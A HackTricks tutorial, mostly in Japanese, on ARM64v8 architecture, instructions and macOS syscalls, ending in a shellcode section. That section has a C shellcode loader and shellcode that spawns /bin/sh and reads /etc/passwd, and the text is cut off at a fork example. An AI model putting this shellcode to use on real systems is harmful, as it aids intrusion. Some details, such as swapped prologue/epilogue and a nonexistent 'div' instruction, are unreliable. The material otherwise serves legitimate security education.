ARM64v8 入門
Reading time: 51 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
例外レベル - EL (ARM64v8)
ARMv8 アーキテクチャでは、実行レベルは Exception Levels(EL)として知られており、実行環境の特権レベルと機能を定義します。EL0 から EL3 までの 4 つの例外レベルがあり、それぞれ異なる目的を持ちます:
- EL0 - User Mode:
- これは最も権限の低いレベルで、通常のアプリケーションコードの実行に使われます。
- EL0 で動作するアプリケーションは互いに、またシステムソフトウェアからも隔離されており、セキュリティと安定性が向上します。
- EL1 - Operating System Kernel Mode:
- ほとんどのオペレーティングシステムカーネルはこのレベルで動作します。
- EL1 は EL0 より多くの特権を持ち、システムリソースにアクセスできますが、システムの整合性を保つためにいくつかの制限があります。EL0 から EL1 へは SVC 命令で移行します。
- EL2 - Hypervisor Mode:
- このレベルは仮想化に使用されます。EL2 で動作するハイパーバイザは、同じ物理ハードウェア上で複数の OS(それぞれが EL1)を管理できます。
- EL2 は仮想化された環境の隔離と制御のための機能を提供します。
- そのため Parallels のような仮想マシンアプリケーションは
hypervisor.frameworkを使って EL2 とやり取りし、カーネル拡張を必要とせずに仮想マシンを実行できます。 - EL1 から EL2 へ移動するには
HVC命令が使われます。
- EL3 - Secure Monitor Mode:
- これは最も特権の高いレベルで、セキュアブートやトラステッド実行環境にしばしば使用されます。
- EL3 はセキュアと非セキュア状態間のアクセス(セキュアブート、トラステッド OS など)を管理・制御できます。
- かつて macOS の KPP (Kernel Patch Protection) に利用されていましたが、現在は使用されていません。
- Apple はもはや EL3 を使用していません。
- EL3 への遷移は通常
SMC(Secure Monitor Call)命令によって行われます。
これらのレベルの利用により、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムの異なる側面を構造的かつ安全に管理できます。ARMv8 の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に分離し、システムのセキュリティと堅牢性を向上させます。
レジスタ (ARM64v8)
ARM64 には 31 個の汎用レジスタ があり、x0 から x30 とラベル付けされています。各レジスタは 64 ビット(8 バイト)の値を格納できます。32 ビット値のみを扱う操作では、同じレジスタを 32 ビットモードで w0 から w30 の名前で参照できます。
x0からx7- これらは通常スクラッチレジスタやサブルーチンへのパラメータ渡しに使われます。
x0は関数の戻り値も運びます。
x8- Linux カーネルではx8がsvc命令のシステムコール番号として使われます。macOS では x16 が使われます!x9からx15- より多くの一時レジスタで、ローカル変数に使われることが多いです。x16とx17- Intra-procedural Call Registers。即値用の一時レジスタです。間接関数呼び出しや PLT スタブにも使われます。
x16は macOS におけるsvc命令の システムコール番号 に使われます。
x18- Platform register。汎用レジスタとして使えますが、いくつかのプラットフォームではプラットフォーム固有の用途に予約されています:Windows では現在のスレッド環境ブロックへのポインタ、Linux カーネルでは現在実行中のタスク構造体へのポインタなど。x19からx28- これらは callee-saved レジスタです。関数はこれらの値を呼び出し元のために保存する必要があるため、スタックに保存して呼び出し元に戻る前に復元します。x29- Frame pointer。スタックフレームを追跡するために使用されます。関数呼び出しで新しいスタックフレームが作られると、x29レジスタは スタックに格納され、新しいフレームポインタアドレス(spアドレス)がこのレジスタに格納されます。
- このレジスタは通常ローカル変数の参照として使われますが、汎用レジスタとしても使えます。
x30またはlr- Link register。BL(Branch with Link)やBLR(Branch with Link to Register)命令が実行されると、pcの値をこのレジスタに格納して 戻りアドレス を保持します。
- 他のレジスタと同様に使用することもできます。
- 現在の関数が新しい関数を呼び出して
lrを上書きする場合、関数の先頭でスタックに保存します。これがエピローグ(stp x29, x30 , [sp, #-48]; mov x29, sp->fpとlrを保存し、領域を確保して新しいfpを設定)であり、終了時に復元するのがプロローグ(ldp x29, x30, [sp], #48; ret->fpとlrを復元して return)です。
sp- Stack pointer。スタックの先頭を追跡するために使われます。
spの値は少なくとも quadword アラインメント を保つ必要があり、そうでないとアラインメント例外が発生する可能性があります。
pc- Program counter。次の命令を指します。このレジスタは例外発生、例外復帰、ブランチによってのみ更新されます。通常の命令でこのレジスタを読み取れるものは、BLやBLRのようにpcアドレスをlrに格納するブランチ命令だけです。xzr- Zero register。32 ビット版ではwzrと呼ばれます。ゼロ値を簡単に取得する(一般的な操作)ためや、subsのような比較で結果をどこにも格納しない用途に使えます(例:subs XZR, Xn, #10)。
Wn レジスタは Xn レジスタの 32bit 版です。
tip
X0 - X18 のレジスタは揮発性(volatile)で、関数呼び出しや割り込みによって値が変わる可能性があります。一方、X19 - X28 は非揮発性(non-volatile)で、関数呼び出し間でその値を保持する必要があります("callee saved")。
SIMD と 浮動小数点レジスタ
さらに、最適化された単一命令マルチプルデータ(SIMD)操作や浮動小数点演算に使える 128bit 長さの 32 個のレジスタ があり、これらは Vn レジスタと呼ばれます。これらはまた 64bit, 32bit, 16bit, 8bit で動作することができ、その場合はそれぞれ Qn, Dn, Sn, Hn, Bn と呼ばれます。
システムレジスタ
何百ものシステムレジスタ(特殊目的レジスタ、SPR)があり、プロセッサの動作を監視・制御するために使われます。
これらは専用の特殊命令 mrs と msr を使ってのみ読み書きできます。
特殊レジスタの TPIDR_EL0 と TPIDDR_EL0 はリバースエンジニアリング時によく見られます。EL0 サフィックスはそのレジスタにアクセス可能な最小の例外レベルを示します(この場合 EL0 は通常のアプリが動作する通常の例外(特権)レベルです)。
これらはしばしばスレッドローカルストレージ領域のベースアドレスを格納するために使われます。通常、最初のものは EL0 のプログラムから読み書き可能ですが、二つ目は EL0 から読み取り、EL1(カーネル)から書き込み可能であることが多いです。
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE はいくつかのプロセス状態コンポーネントをオペレーティングシステムから見える特別レジスタ SPSR_ELx にシリアライズして格納します。ここで X はトリガーされた例外の 権限レベル を示します(これは例外終了時にプロセス状態を復元するためです)。
アクセス可能なフィールドは次の通りです:
.png)
N,Z,C,V条件フラグ:Nは演算が負の結果を生んだことを示しますZは演算がゼロを生んだことを示しますCはキャリーが発生したことを示しますVは符号付きオーバーフローが発生したことを示します:- 2 つの正の数の和が負の結果になる場合
- 2 つの負の数の和が正の結果になる場合
- 減算において、大きな負の数から小さな正の数を引く(またはその逆)などで、結果が与えられたビット数で表現できない場合
- プロセッサは演算が符号付きか符号無しかを知らないため、演算で C と V を確認して、符号付きか符号無しかに応じてキャリーの発生を示します。
warning
すべての命令がこれらのフラグを更新するわけではありません。CMP や TST のような命令、あるいは末尾に s が付く ADDS のようなものはフラグを更新します。
- 現在の レジスタ幅(
nRW)フラグ:このフラグが 0 の場合、プログラムは再開時に AArch64 実行状態で動作します。 - 現在の Exception Level(
EL):EL0 で動作する通常プログラムは値 0 を持ちます。 - 単一ステップ(
SS)フラグ:デバッガが例外を介してSPSR_ELx内の SS フラグを 1 に設定することで単一ステップを実行します。プログラムはステップを実行し、シングルステップ例外を発行します。 - 不正な例外状態フラグ(
IL):特権ソフトウェアが不正な例外レベル移行を行ったときにこのフラグが 1 にセットされ、プロセッサは不正状態例外をトリガーします。 DAIFフラグ:これらのフラグは特権プログラムが特定の外部例外を選択的にマスクすることを許します。Aが 1 の場合は非同期アボート(asynchronous aborts)がトリガーされます。Iは外部ハードウェア割り込み要求(IRQ)への応答を設定し、Fは Fast Interrupt Requests(FIR)に関連します。- スタックポインタ選択フラグ(
SPS):EL1 以上で動作する特権プログラムは自身のスタックポインタレジスタとユーザモデルのもの(例:SP_EL1とEL0)の間を切り替えることができます。この切り替えはSPSel特殊レジスタへの書き込みによって行われます。EL0 からは行えません。
呼び出し規約 (ARM64v8)
ARM64 の呼び出し規約では、関数への最初の 8 個のパラメータはレジスタ x0 から x7 に渡されます。追加のパラメータはスタックに渡されます。戻り値は x0 に返され、128 ビットの戻り値は x1 も使われます。x19 から x30 と sp のレジスタは関数呼び出し間で保存する必要があります。
アセンブリで関数を見るときは、プロローグとエピローグを探してください。プロローグは通常 リンクレジスタ(x29)の保存、新しいフレームポインタの設定、および スタック領域の確保 を伴います。エピローグは保存したフレームポインタの復元と関数からの復帰を伴います。
Swift における呼び出し規約
Swift は独自の 呼び出し規約 を持っており、詳細は次で確認できます: https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
一般的な命令 (ARM64v8)
ARM64 命令は一般に opcode dst, src1, src2 の形式を持ち、opcode は実行される操作(add, sub, mov など)、dst は結果が格納される宛先レジスタ、src1 と src2 はソースレジスタです。即値をソースの代わりに使うこともできます。
-
mov: レジスタから別のレジスタへ値を移動します。 -
例:
mov x0, x1—x1の値をx0に移します。 -
ldr: メモリからレジスタへ値をロードします。 -
例:
ldr x0, [x1]—x1が指すメモリ位置から値を読みx0に格納します。 -
オフセットモード: 起点ポインタにオフセットを指定する例:
-
ldr x2, [x1, #8]はx1 + 8の位置の値をx2にロードします -
ldr x2, [x0, x1, lsl #2]は配列x0のx1(インデックス)位置から(*4)に相当するオブジェクトをx2にロードします -
プリインデックスモード: 計算を起点に適用し、結果を起点にも保存します。
-
ldr x2, [x1, #8]!はx1 + 8をx2にロードし、x1にx1 + 8を格納します -
str lr, [sp, #-4]!はリンクレジスタをspに格納しspを更新します -
ポストインデックスモード: 前者と似ていますが、メモリアドレスにアクセスした後でオフセットを計算して保存します。
-
ldr x0, [x1], #8はx1をx0にロードし、その後x1をx1 + 8に更新します -
PC 相対アドレッシング: この場合、ロードするアドレスは PC レジスタに相対して計算されます
-
ldr x1, =_startは現在の PC に関連して_startシンボルの開始アドレスをx1にロードします。 -
str: レジスタの値をメモリにストアします。 -
例:
str x0, [x1]—x0の値をx1が指すメモリ位置に格納します。 -
ldp: 連続するメモリ位置から 2 つのレジスタをロードします(Load Pair)。 -
例:
ldp x0, x1, [x2]—x2とx2 + 8の位置からx0とx1をそれぞれロードします。 -
stp: 連続するメモリ位置へ 2 つのレジスタをストアします(Store Pair)。 -
例:
stp x0, x1, [sp]—x0とx1をspとsp + 8の位置に格納します。 -
stp x0, x1, [sp, #16]!—x0とx1をsp+16およびsp+24に格納し、spをsp+16に更新します。 -
add: 2 つのレジスタの値を加算して結果をレジスタに格納します。 -
構文: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> 宛先
-
Xn2 -> オペランド 1
-
Xn3 | #imm -> オペランド 2(レジスタまたは即値)
-
[shift #N | RRX] -> シフトを行うか RRX を呼ぶ
-
例:
add x0, x1, x2—x1とx2の値を加算してx0に格納します。 -
add x5, x5, #1, lsl #12— これは 4096 に相当します(1 を 12 ビット左シフト)。 -
adds:addを行いフラグを更新します。 -
sub: 2 つのレジスタの値を減算して結果をレジスタに格納します。 -
addの構文を参照してください。 -
例:
sub x0, x1, x2—x1からx2を引いて結果をx0に格納します。 -
subs:subと同様ですがフラグを更新します。 -
mul: 2 つのレジスタの値を乗算して結果をレジスタに格納します。 -
例:
mul x0, x1, x2—x1とx2を乗算してx0に格納します。 -
div: あるレジスタの値を別のレジスタで除算して結果をレジスタに格納します。 -
例:
div x0, x1, x2—x1をx2で割って結果をx0に格納します。 -
lsl,lsr,asr,ror,rrx: -
Logical shift left: 末尾に 0 を追加して他のビットを前方に移動(2 倍の乗算に相当)
-
Logical shift right: 先頭に 0 を追加して他のビットを後方に移動(符号無しで n 回 2 で割る)
-
Arithmetic shift right:
lsrに似ていますが、最上位ビットが 1 の場合は 1 を追加します(符号付きで n 回 2 で割る) -
Rotate right:
lsrに似ていますが、右から取り除かれたビットが左端に付加されます -
Rotate Right with Extend:
rorに似ていますが、キャリーフラグが「最上位ビット」として使われます。キャリーフラグがビット 31 に移動し、取り除かれたビットがキャリーフラグに入ります。 -
bfm: Bit Field Move。これらの操作はある値のビット0...nをコピーして位置m..m+nに配置します。#sは左端のビット位置を、#rは右回転量を指定します。 -
Bitfield move:
BFM Xd, Xn, #r -
Signed Bitfield move:
SBFM Xd, Xn, #r, #s -
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s -
Bitfield Extract と Insert: レジスタからビットフィールドをコピーして別のレジスタにコピーします。
-
BFI X1, X2, #3, #4X2 の 3 ビット目から 4 ビットを X1 に挿入 -
BFXIL X1, X2, #3, #4X2 の 3 ビット目から 4 ビットを抽出して X1 にコピー -
SBFIZ X1, X2, #3, #4X2 の 4 ビットを符号拡張して X1 のビット位置 3 から挿入し、右側のビットをゼロにします -
SBFX X1, X2, #3, #4X2 のビット 3 から 4 ビットを抽出して符号拡張し、結果を X1 に格納します -
UBFIZ X1, X2, #3, #4X2 の 4 ビットをゼロ拡張して X1 のビット位置 3 から挿入し、右側のビットをゼロにします -
UBFX X1, X2, #3, #4X2 のビット 3 から 4 ビットを抽出してゼロ拡張した結果を X1 に格納します。 -
Sign Extend To X: 値の符号を拡張する(符号無し版は 0 を追加する)ことで、その値で演算できるようにします:
-
SXTB X1, W2W2 のバイトの符号を拡張してX1の 64 ビットを満たします(W2はX2の半分) -
SXTH X1, W216 ビット値の符号を拡張してX1の 64 ビットを満たします -
SXTW X1, W2W2 の 32 ビットの符号を拡張してX1の 64 ビットを満たします -
UXTB X1, W2バイトをゼロ拡張してX1の 64 ビットを満たします -
extr: 指定された 2 つのレジスタを連結したペアからビットを抽出します。 -
例:
EXTR W3, W2, W1, #3はW1+W2を連結し、W2 のビット 3 から W1 のビット 3 までを取得して W3 に格納します。 -
cmp: 2 つのレジスタを比較して条件フラグを設定します。これはsubsのエイリアスであり、宛先レジスタをゼロレジスタに設定します。m == nを判定するのに便利です。 -
subsと同じ構文をサポートします。 -
例:
cmp x0, x1—x0とx1の値を比較して条件フラグを設定します。 -
cmn: ネガティブオペランドの比較。これはaddsのエイリアスで、同じ構文をサポートします。m == -nを判定するのに便利です。 -
ccmp: 条件付き比較。前の比較が真であった場合にのみ実行され、特に nzcv ビットを設定します。 -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func-> もし x1 != x2 かつ x3 < x4 なら func へジャンプ -
これは
ccmpが前のcmpがNEだった場合にのみ実行され、そうでない場合は nzcv ビットが 0 にセットされ(blt条件を満たさない)ます。 -
これは
ccmn(ネガティブ版、cmpとcmnの関係と同様)としても使えます。 -
tst: ANDS の結果をどこにも格納せずに比較するような動作で、比較したいレジスタのビットのいずれかが 1 かどうかをチェックするのに便利です。 -
例:
tst X1, #7は X1 の下位 3 ビットのいずれかが 1 かをチェックします。 -
teq: XOR 演算を結果を破棄して行います。 -
b: 無条件ブランチ -
例:
b myFunction -
これは戻りアドレスをリンクレジスタに格納しないことに注意(戻る必要があるサブルーチン呼び出しには不適)。
-
bl: リンク付きブランチ。サブルーチンの呼び出しに使用します。戻りアドレスをx30に格納します。 -
例:
bl myFunction—myFunctionを呼び出し、戻りアドレスをx30に格納します。 -
blr: レジスタへのリンク付きブランチ。ターゲットがレジスタで指定されるサブルーチン呼び出しに使用します。戻りアドレスをx30に格納します。 -
例:
blr x1—x1に格納されたアドレスの関数を呼び出し、戻りアドレスをx30に格納します。 -
ret: サブルーチンからの復帰。通常x30のアドレスを使います。 -
例:
ret—x30の戻りアドレスを使って現在のサブルーチンから戻ります。 -
b.<cond>: 条件付きブランチ -
b.eq: 等しい場合に分岐(直前のcmpに基づく)。 -
例:
b.eq label— 直前のcmpが等しいと判断した場合にlabelへジャンプします。 -
b.ne: 等しくない場合に分岐。直前の比較命令で設定された条件フラグをチェックし、等しくなければラベルやアドレスへ分岐します。 -
例:
cmp x0, x1の後にb.ne label—x0とx1が等しくない場合labelへジャンプします。 -
cbz: ゼロとの比較とゼロの場合に分岐。レジスタをゼロと比較し、等しい場合に分岐します。 -
例:
cbz x0, label—x0がゼロならlabelへジャンプします。 -
cbnz: 非ゼロの場合に分岐。レジスタをゼロと比較し、等しくなければ分岐します。 -
例:
cbnz x0, label—x0が非ゼロならlabelへジャンプします。 -
tbnz: 指定ビットをテストして非ゼロなら分岐 -
例:
tbnz x0, #8, label -
tbz: 指定ビットをテストしてゼロなら分岐 -
例:
tbz x0, #8, label -
条件付きセレクト操作: 条件ビットに応じて振る舞いが変わる操作群です。
-
csel Xd, Xn, Xm, cond->csel X0, X1, X2, EQ-> 真なら X0 = X1、偽なら X0 = X2 -
csinc Xd, Xn, Xm, cond-> 真なら Xd = Xn、偽なら Xd = Xm + 1 -
cinc Xd, Xn, cond-> 真なら Xd = Xn + 1、偽なら Xd = Xn -
csinv Xd, Xn, Xm, cond-> 真なら Xd = Xn、偽なら Xd = NOT(Xm) -
cinv Xd, Xn, cond-> 真なら Xd = NOT(Xn)、偽なら Xd = Xn -
csneg Xd, Xn, Xm, cond-> 真なら Xd = Xn、偽なら Xd = - Xm -
cneg Xd, Xn, cond-> 真なら Xd = - Xn、偽なら Xd = Xn -
cset Xd, Xn, Xm, cond-> 真なら Xd = 1、偽なら Xd = 0 -
csetm Xd, Xn, Xm, cond-> 真なら Xd = <all 1>、偽なら Xd = 0 -
adrp: シンボルのページアドレスを計算してレジスタに格納します。 -
例:
adrp x0, symbol—symbolのページアドレスを計算してx0に格納します。 -
ldrsw: メモリから符号付き 32 ビット値をロードして 64 ビットに符号拡張します。通常 SWITCH ケースで使われます。 -
例:
ldrsw x0, [x1]—x1が指すメモリ位置から符号付き 32 ビット値を読み、64 ビットに符号拡張してx0に格納します。 -
stur: オフセット付きで別のレジスタからのメモリ位置にレジスタ値をストアします。 -
例:
stur x0, [x1, #4]—x1に格納されたアドレス +4 の位置にx0の値をストアします。 -
svc: システムコールを行います。Supervisor Call の略です。この命令が実行されると、プロセッサはユーザモードからカーネルモードに切り替わり、カーネルのシステムコール処理コードがある特定のメモリ位置にジャンプします。 -
例:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
関数プロローグ
- リンクレジスタとフレームポインタをスタックに保存する:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- 新しいフレームポインタを設定する:
mov x29, sp(現在の関数の新しいフレームポインタを設定します) - ローカル変数用にスタック上の領域を確保する(必要な場合):
sub sp, sp, <size>(ここで<size>は必要なバイト数です)
関数エピローグ
- ローカル変数を解放する(もし割り当てられていれば):
add sp, sp, <size> - リンクレジスタとフレームポインタを復元する:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret(リンクレジスタのアドレスを使って呼び出し元に制御を返す)
ARM の一般的なメモリ保護
AARCH32 実行状態
Armv8-A は 32-bit プログラムの実行をサポートします。AArch32 は 2つの命令セット:A32 と T32 のいずれかで動作でき、interworking によって切り替えることができます。
特権 を持つ 64-bit プログラムは、例外レベルを低い 32-bit に移すことで 32-bit の実行 をスケジュールできます。
64-bit から 32-bit への遷移は、より低い例外レベルで発生することに注意してください(例えば EL1 の 64-bit プログラムが EL0 のプログラムを起動する場合)。これは、AArch32 プロセススレッドが実行準備できたときに、特別レジスタ SPSR_ELx のビット4を 1 に設定し、SPSR_ELx の残りが AArch32 プログラムの CPSR を格納することで行われます。その後、特権プロセスは ERET 命令を呼び出し、プロセッサは CPSR に応じて AArch32 に移行し A32 または T32 に入ります。
interworking は CPSR の J ビットと T ビットを使って行われます。 J=0 かつ T=0 は A32 を意味し、J=0 かつ T=1 は T32 を意味します。これは基本的に命令セットが T32 であることを示すために 最下位ビットを 1 に設定することに相当します。
これは interworking branch instructions の間に設定されますが、PC を宛先レジスタに設定する他の命令によって直接設定されることもあります。例:
別の例:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
レジスタ
16個の32ビットレジスタ(r0-r15)がある。r0からr14まではあらゆる操作に使用できるが、いくつかは通常予約されている:
r15: プログラムカウンタ(常に)。次の命令のアドレスを保持する。A32では現在のアドレス + 8、T32では現在 + 4。r11: フレームポインタr12: プロシージャ内呼び出しレジスタr13: スタックポインタ(スタックは常に16バイト境界に整列している)r14: リンクレジスタ
さらに、レジスタは banked registries にバックアップされている。これらはレジスタ値を格納する場所であり、例外処理や特権操作時に 高速なコンテキスト切り替え を可能にし、毎回手動でレジスタを保存・復元する必要を回避するためのものだ。
これは、例外が取られたプロセッサモードの CPSR から SPSR へプロセッサ状態を保存すること によって行われる。例外復帰時には、CPSR が SPSR から復元される。
CPSR - Current Program Status Register
AArch32におけるCPSRはAArch64の PSTATE と同様に機能し、例外時には後で実行を復元するために SPSR_ELx にも保存される:
.png)
フィールドは以下のグループに分かれている:
- Application Program Status Register (APSR): 算術フラグで、EL0からアクセス可能
- Execution State Registers: プロセスの挙動(OSが管理)
Application Program Status Register (APSR)
N,Z,C,Vフラグ(AArch64と同様)Qフラグ: 専用の飽和算術命令の実行中に 整数の飽和が発生 すると1にセットされる。一度1になると手動で0に設定されるまでその値を保持する。さらに、その値を暗黙的にチェックする命令はなく、明示的に読み取って確認する必要がある。GE(Greater than or equal)フラグ: SIMD (Single Instruction, Multiple Data) 操作、例えば "parallel add" や "parallel subtract" のような操作で使用される。これらの操作は単一命令で複数のデータポイントを処理できる。
例えば、UADD8 命令は(2つの32ビットオペランドから)4つのバイトペアを並列に加算し、その結果を32ビットレジスタに格納する。その後、これらの結果に基づいて APSR の GE フラグ を設定する。各GEフラグは各バイト加算に対応しており、そのバイトペアの加算が オーバーフローしたか を示す。
SEL 命令はこれらのGEフラグを使って条件付きの動作を行う。
Execution State Registers
JおよびTビット:Jは0であるべきで、Tが0なら命令セットは A32、1なら T32 が使用される。- IT Block State Register (
ITSTATE): ビット10–15および25–26で、ITプレフィックスのグループ内の命令に対する条件を格納する。 Eビット: エンディアンネスを示す。- Mode and Exception Mask Bits (0-4): 現在の実行状態を決定する。5番目のビットはプログラムが32bit(1)で動作しているか64bit(0)で動作しているかを示す。他の4ビットは 現在使用されている例外モード(例外が発生して処理されているとき)を表す。設定された数値は、処理中に別の例外が発生した場合の 現在の優先度 を示す。
.png)
AIF: 特定の例外はA,I,Fビットで無効化できる。Aが1の場合は asynchronous aborts がトリガーされる。Iは外部ハードウェアの Interrupt Requests(IRQs)に応答する設定を行い、Fは Fast Interrupt Requests(FIRs)に関連する。
macOS
BSD syscalls
Check out syscalls.master or run cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. BSD syscalls will have x16 > 0.
Mach Traps
Check out in syscall_sw.c the mach_trap_table and in mach_traps.h the prototypes. The max number of Mach traps is MACH_TRAP_TABLE_COUNT = 128. Mach traps will have x16 < 0, so you need to call the numbers from the previous list with a minus: _kernelrpc_mach_vm_allocate_trap is -10.
You can also check libsystem_kernel.dylib in a disassembler to find how to call these (and BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
tip
場合によっては、ソースコードを確認するよりも libsystem_kernel.dylib の逆コンパイルされたコードを確認したほうが簡単なことがあります。複数の syscall (BSD や Mach) のコードはスクリプトで生成されるため(ソースコードのコメントを確認してください)、dylib 内では何が呼ばれているかを直接見つけられるからです。
machdep calls
XNU は machine dependent(machdep)と呼ばれる別種の呼び出しをサポートしています。これらの呼び出しの番号はアーキテクチャに依存しており、呼び出し自体も番号も恒久的に一定である保証はありません。
comm page
これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマップされます。非常に頻繁に使用され、その都度 syscalls を使うと遷移が非常に非効率になるようなカーネルサービスに対して、ユーザーモードからカーネル空間への遷移を高速化するためのものです。
For example the call gettimeofdate reads the value of timeval directly from the comm page.
objc_msgSend
Objective-C や Swift のプログラムでこの関数が使われているのを見かけることは非常に多いです。この関数は Objective-C オブジェクトのメソッドを呼び出すためのものです。
Parameters (more info in the docs):
- x0: self -> インスタンスへのポインタ
- x1: op -> メソッドのセレクタ
- x2... -> 呼び出されるメソッドの残りの引数
したがって、この関数へ分岐する前にブレークポイントを置けば、lldb で何が呼ばれているかを簡単に見つけられます(この例ではオブジェクトは NSConcreteTask のオブジェクトを呼び出し、コマンドを実行します):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
環境変数 NSObjCMessageLoggingEnabled=1 を設定すると、この関数が呼ばれたときに /tmp/msgSends-pid のようなファイルにログを出力できます。
さらに、OBJC_HELP=1 を設定して任意のバイナリを実行すると、特定の Objc-C アクションが発生したときに log するために使える他の環境変数を確認できます。
この関数が呼び出されると、対象インスタンスの呼ばれたメソッドを見つける必要があり、そのためにいくつかの異なる検索が行われます:
- Perform optimistic cache lookup:
- If successful, done
- Acquire runtimeLock (read)
- If (realize && !cls->realized) の場合、クラスを realize する
- If (initialize && !cls->initialized) の場合、クラスを initialize する
- Try class own cache:
- If successful, done
- Try class method list:
- If found, fill cache and done
- Try superclass cache:
- If successful, done
- Try superclass method list:
- If found, fill cache and done
- If (resolver) の場合、method resolver を試し、class lookup からやり直す
- If still here (= all else has failed) の場合は forwarder を試す
Shellcodes
コンパイルするには:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
バイトを抽出するには:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
より新しい macOS の場合:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
shellcodeをテストするためのCコード
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
はhereから取られ、解説します。
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
catで読み取る
目的は execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) を実行することで、したがって第2引数 (x1) は params の配列で(メモリ上ではこれは addresses の stack を意味する)。
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
fork から sh でコマンドを実行してメインプロセスが終了しないようにする
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
